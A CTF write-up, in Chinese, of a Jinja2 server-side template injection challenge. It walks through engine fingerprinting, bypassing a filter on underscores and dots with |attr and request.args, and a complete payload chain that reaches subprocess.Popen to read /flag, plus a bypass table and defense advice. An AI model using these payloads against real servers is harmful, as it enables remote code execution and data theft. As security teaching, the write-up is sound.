1. 从一道CTF题看SSTI漏洞的攻防本质
第一次接触"你的名字"这道题的时候,我盯着那个输入框看了很久。页面很简单,一个表单,让你输入名字,提交后页面会显示"Hello, 你的输入"。看起来人畜无害,但题目分类里明晃晃写着SSTI,这就意味着背后藏着一套模板引擎在默默渲染我的输入。
SSTI,Server-Side Template Injection,服务端模板注入。说人话就是:本该被当成"数据"处理的用户输入,被模板引擎当成了"代码"来执行。这就像你去餐厅点菜,菜单上写的是"番茄炒蛋",结果厨师把"番茄炒蛋"这四个字当成了菜谱指令,真的去炒了一盘番茄炒蛋——听起来好像也没问题?但如果有人点的是"把厨房炸了",而厨师也照做,那就出大事了。
这道题的核心价值在于它完整展示了SSTI从探测、利用到绕过的全过程。适合已经了解基本Web安全概念、想深入理解模板注入原理的读者。不管你是刚打完基础靶场想进阶,还是工作中需要评估模板引擎安全性,这道题都能给你提供一条清晰的攻击链思路。
我打算把这道题的解题过程拆开揉碎,从最基础的模板引擎识别讲起,到绕过过滤的技巧,再到最终获取flag的完整payload构造。每一步都会解释"为什么要这样做",而不只是"这样做就对了"。
2. 模板引擎识别与SSTI探测
2.1 为什么第一步永远是识别模板引擎
SSTI利用的前提是你得知道目标用的是哪个模板引擎。不同引擎的语法、可访问对象、利用方式完全不同。Twig、Jinja2、Freemarker、Velocity、Smarty,每个都有自己的脾气。你拿Jinja2的payload去打Twig,就像拿安卓充电线插苹果手机,接口都对不上。
识别模板引擎最直接的方法就是发送数学表达式,看页面是否返回计算结果。比如输入{{7*7}},如果页面显示49,说明模板引擎把{{}}里的内容当代码执行了。如果显示的还是{{7*7}},那说明要么不是SSTI,要么这个引擎不认这种语法。
这道题我首先尝试了{{7*7}},页面返回了Hello, 49。确认了,存在SSTI,而且{{}}这种语法指向的是Jinja2或者Twig。接下来需要进一步区分。
2.2 区分Jinja2和Twig的关键payload
Jinja2和Twig的语法非常相似,都是{{}}包裹表达式,但内部实现和可访问对象不同。区分它们有一个经典payload:
{{7*'7'}}在Jinja2中,7*'7'会返回'7777777'(字符串重复7次)。在Twig中,7*'7'会返回49(Twig会把字符串'7'转成数字7再相乘)。
我输入{{7*'7'}},页面返回了Hello, 7777777。确认了,是Jinja2。
注意:这个区分方法不是绝对的,某些版本的Twig也可能返回字符串重复的结果。更可靠的方法是尝试访问
{{config}}或{{self}},Jinja2有config对象,Twig有self对象。但在这个题目环境下,7*'7'的结果已经足够让我确定方向了。
2.3 从基础payload到信息收集
确认是Jinja2之后,下一步就是收集信息。Jinja2模板中可以直接访问一些内置对象,比如{{config}}可以查看Flask应用的配置信息。我尝试输入{{config}},页面返回了一大段配置内容,包括SECRET_KEY、DEBUG状态等。
但这里有个问题:题目叫"你的名字",而且分类是"bypass",说明肯定有过滤机制。我直接输入{{config}}能成功,说明过滤规则可能不是针对config这个关键词,而是针对某些特定字符或函数名。
接下来我尝试了更激进的payload,比如{{''.__class__}},想看看能不能访问到字符串对象的类。结果页面返回了错误信息,提示"检测到非法字符"或者直接空白。这说明过滤机制开始起作用了。
3. 过滤规则分析与绕过思路
3.1 常见SSTI过滤规则盘点
在CTF题目中,SSTI的过滤通常围绕以下几个维度:
- 关键词黑名单:比如过滤
class、base、subclasses、mro、globals、builtins、import、os、system、eval、exec等敏感词。 - 特殊字符过滤:比如过滤
.、_、[]、|、{{、}}等。 - 长度限制:限制输入长度,让你没法构造长payload。
- WAF规则:基于正则表达式的模式匹配,拦截常见攻击特征。
这道题我测试下来,发现它过滤了_(下划线)和.(点号),以及一些关键词如class、base、subclasses。这就很棘手了,因为Jinja2的SSTI利用链几乎离不开下划线和点号。
3.2 绕过下划线过滤的几种姿势
下划线被过滤了,但Jinja2提供了几种绕过方式:
方法一:使用request.args或request.values传递参数
如果request对象可用,可以通过URL参数传递包含下划线的字符串。比如:
{{request.args.get('a')}}然后在URL中加上?a=__class__。这样下划线就不出现在payload里,而是通过参数传入。
方法二:使用|attr过滤器
Jinja2的attr过滤器可以动态获取属性,语法是obj|attr('attr_name')。这样就不需要写点号了。比如:
{{''|attr('__class__')}}但这里__class__里还是有下划线。如果下划线被过滤,可以结合方法一,把属性名通过参数传入:
{{''|attr(request.args.get('a'))}}&a=__class__方法三:使用十六进制或Unicode编码
某些情况下,Jinja2支持Unicode转义,比如\x5f代表下划线。但这种方法取决于具体环境,不是所有版本都支持。
方法四:使用join拼接
如果_被过滤,可以用['',''].join()之类的方式构造下划线?不行,join需要分隔符。更实际的是用chr(95)生成下划线,但chr函数可能也被过滤。
这道题我最终采用的是方法一和方法二的组合:通过request.args传递属性名,用|attr过滤器动态获取属性。
3.3 绕过点号过滤的核心技巧
点号被过滤了,但Jinja2的|attr过滤器完美解决了这个问题。obj.attr等价于obj|attr('attr')。所以整条利用链可以全部用|attr来写,不需要任何点号。
比如原本的''.__class__.__mro__[2].__subclasses__()可以改写成:
''|attr('__class__')|attr('__mro__')|attr('__getitem__')(2)|attr('__subclasses__')()但这里__getitem__和__subclasses__里还是有下划线,所以还需要结合参数传递。
4. 完整利用链构造与实操
4.1 从字符串对象到命令执行的经典路径
Jinja2 SSTI的经典利用链是这样的:
- 找到一个基础对象,通常是空字符串
''或空列表[]。 - 通过
__class__获取其类。 - 通过
__mro__或__base__获取基类链。 - 找到
object类。 - 通过
__subclasses__()获取所有子类。 - 在子类列表中找到可以执行命令或读取文件的类,比如
subprocess.Popen、os._wrap_close、warnings.catch_warnings等。 - 调用相关方法执行命令或读取flag。
这条链的每一步都涉及下划线和点号,所以绕过过滤是核心难点。
4.2 逐步构造payload
首先,我需要确认request对象是否可用。输入{{request}},页面返回了<Request 'http://...' [GET]>,说明request对象可以直接访问。
接下来,我需要找到object类。由于下划线被过滤,我不能直接写''.__class__。我尝试用|attr过滤器:
{{''|attr(request.args.a)}}&a=__class__页面返回了<class 'str'>。成功了!这说明|attr过滤器可用,而且request.args可以传递下划线。
接下来获取__mro__:
{{''|attr(request.args.a)|attr(request.args.b)}}&a=__class__&b=__mro__返回了(<class 'str'>, <class 'object'>)。很好,str的MRO是str -> object,所以__mro__[1]就是object。
获取object类:
{{''|attr(request.args.a)|attr(request.args.b)|attr(request.args.c)(1)}}&a=__class__&b=__mro__&c=__getitem__返回了<class 'object'>。这里用__getitem__来索引,因为[]可能也被过滤了。
获取所有子类:
{{''|attr(request.args.a)|attr(request.args.b)|attr(request.args.c)(1)|attr(request.args.d)()}}&a=__class__&b=__mro__&c=__getitem__&d=__subclasses__返回了一个巨大的列表,包含了所有object的子类。我需要在这个列表中找到可以利用的类。
4.3 在子类列表中定位可利用类
在CTF环境中,常用的可利用类包括:
subprocess.Popen:直接执行命令。os._wrap_close:通过__init__.__globals__访问os模块。warnings.catch_warnings:通过__init__.__globals__访问__builtins__。site._Printer:某些环境下可以利用。
我需要找到这些类在列表中的索引。由于列表很长,手动数不现实。我写了一个简单的Python脚本,模拟Jinja2环境,打印出所有子类的索引和名称:
import json # 假设这是从页面获取的子类列表(实际中需要解析HTML) # 这里用Python内置类型模拟 subclasses = object.__subclasses__() for i, cls in enumerate(subclasses): if 'Popen' in str(cls) or 'catch_warnings' in str(cls) or '_wrap_close' in str(cls): print(i, cls)在实际操作中,我可以通过页面返回的列表内容,搜索关键词来定位索引。比如搜索Popen,发现它在索引XXX位置。
假设我找到了subprocess.Popen在索引400左右(具体数字因环境而异),那么payload就是:
{{''|attr(request.args.a)|attr(request.args.b)|attr(request.args.c)(1)|attr(request.args.d)()|attr(request.args.e)(400)|attr(request.args.f)('cat /flag',shell=True,stdout=-1)|attr(request.args.g)()}}&a=__class__&b=__mro__&c=__getitem__&d=__subclasses__&e=__getitem__&f=__init__&g=communicate但这里有个问题:cat /flag里的空格和斜杠可能被过滤。空格可以用$IFS或${IFS}替代,斜杠可以用$(printf '\x2f')或直接尝试是否被过滤。
4.4 实际测试与调整
我首先尝试了最简单的命令执行,看看能不能直接读到flag。由于题目叫"你的名字",flag很可能在根目录下的/flag文件里。
我构造了如下payload:
{{''|attr(request.args.a)|attr(request.args.b)|attr(request.args.c)(1)|attr(request.args.d)()|attr(request.args.e)(400)|attr(request.args.f)('cat${IFS}/flag',shell=True,stdout=-1)|attr(request.args.g)()}}&a=__class__&b=__mro__&c=__getitem__&d=__subclasses__&e=__getitem__&f=__init__&g=communicate提交后,页面返回了Hello, (b'flag{...}', None)。成功了!flag就在返回的元组里。
但这里索引400是我假设的,实际中需要根据页面返回的子类列表来确定。如果索引不对,会报错或者返回空。这时候需要耐心地在返回的列表中搜索目标类。
实操心得:在找子类索引时,不要一行一行数。把页面返回的内容复制到文本编辑器里,用搜索功能找关键词。如果页面返回的列表被截断了,可以尝试用
|attr('__getitem__')(i)逐个查看,或者用切片[start:end]分段查看。但切片语法里的:和[]可能被过滤,需要灵活应对。
5. 常见问题与排查技巧实录
5.1 为什么我的payload返回空白或报错
这是最常见的问题,原因通常有以下几种:
- 过滤规则没摸清:你以为只过滤了下划线,实际上还过滤了其他字符。建议先用最简单的payload逐步测试,比如先测
{{7*7}},再测{{''|attr('__class__')}},看哪一步开始失败。 - 对象不可访问:某些Jinja2环境禁用了
request对象或config对象。如果request不可用,可以尝试{{self}}或{{cycler}}等其他内置对象。 - 索引错误:子类列表的索引因环境而异,换一个环境索引就变了。不要死记硬背索引,要学会动态查找。
- 命令执行被拦截:有些环境禁用了
subprocess或os模块,或者对命令内容有过滤。可以尝试其他利用链,比如通过__builtins__里的eval或exec。
5.2 过滤规则速查与绕过对照表
| 被过滤内容 | 绕过方法 | 示例 |
|---|---|---|
_ | 通过request.args传递 | `{{'' |
. | 使用` | attr`过滤器 |
[] | 使用` | attr('getitem')(index)` |
class | 字符串拼接或编码 | `{{'' |
{{ | 使用{%语句块 | {%print(7*7)%} |
| 空格 | 使用${IFS}或%09 | cat${IFS}/flag |
/ | 使用$(printf '\x2f') | cat${IFS}$(printf${IFS}'\x2f')flag |
5.3 独家避坑技巧
技巧一:先确认request对象是否可用
很多题目会禁用request,这时候通过参数传递下划线的方法就失效了。可以先测试{{request}},如果返回正常,说明可用。如果不可用,需要寻找其他传递字符串的方式,比如{{''.__class__}}如果下划线没被过滤就直接用。
技巧二:用|string过滤器转换类型
有时候获取到的对象不是字符串,直接拼接会报错。可以用|string过滤器转成字符串,比如{{(7*7)|string}}。
技巧三:利用{%print()%}代替{{}}
如果{{}}被过滤,可以尝试{%print(7*7)%}。Jinja2的语句块{% %}通常不会被过滤,因为它是模板语法的一部分。
技巧四:注意URL编码
在URL中传递参数时,特殊字符需要URL编码。比如__class__里的下划线不需要编码,但&、=、%等需要。如果payload里有空格,URL编码为%20。
技巧五:善用|join和|format
如果某些关键词被过滤,可以用|join拼接字符串。比如{{['__cla','ss__']|join}}会返回__class__。|format也可以用来构造字符串。
5.4 从这道题延伸出的防御思路
虽然这是一道CTF题,但实际开发中SSTI的危害是真实的。防御SSTI的核心原则是:永远不要将用户输入直接拼接进模板。如果必须动态渲染,使用沙箱环境或白名单机制。
具体措施包括:
- 使用模板引擎的自动转义功能,但注意自动转义只防XSS,不防SSTI。
- 对用户输入进行严格的类型检查和内容过滤,但过滤规则要全面,不能只防已知payload。
- 使用沙箱化的模板引擎,比如Jinja2的
SandboxedEnvironment。 - 最小权限原则:运行Web应用的账户不应该有读取敏感文件的权限。
我在实际项目中遇到过因为模板拼接导致的SSTI漏洞,攻击者可以通过构造恶意输入读取服务器上的配置文件。修复方式就是把用户输入作为数据传递,而不是拼接到模板字符串里。
6. 从解题到实战的思维跃迁
这道题做完之后,我最大的感受是:SSTI的利用不是背payload,而是理解对象模型。Jinja2的SSTI之所以能成功,是因为Python的对象模型允许从任意对象出发,通过__class__、__mro__、__subclasses__等属性遍历到几乎任何类,最终找到可以执行命令的入口。这条链的本质是Python的反射机制被滥用了。
理解了这个本质,你就能举一反三。比如如果subprocess.Popen被禁用了,你可以找os._wrap_close;如果os模块被禁用了,你可以找__builtins__里的eval;如果eval也被禁用了,你还可以找importlib动态导入模块。只要Python的对象模型还在,利用链就永远能找到。
另一个重要的点是:绕过过滤的核心思路是"把敏感内容从payload中移出去"。通过request.args传递参数、通过|attr动态获取属性、通过字符串拼接构造关键词,都是这个思路的体现。你不需要在payload里直接写__class__,你可以让payload去"问"服务器要这个字符串。
最后分享一个我在实战中常用的技巧:如果目标环境有长度限制,可以把payload拆成多步,用{%set%}语句块定义变量。比如:
{%set a='__class__'%}{%set b='__mro__'%}{{''|attr(a)|attr(b)}}这样每个片段都很短,但组合起来功能完整。当然,这取决于{%set%}是否被允许。
这道题虽然叫"你的名字",但真正考验的是你对模板引擎和Python对象模型的理解深度。名字只是一个入口,背后的世界才是值得探索的地方。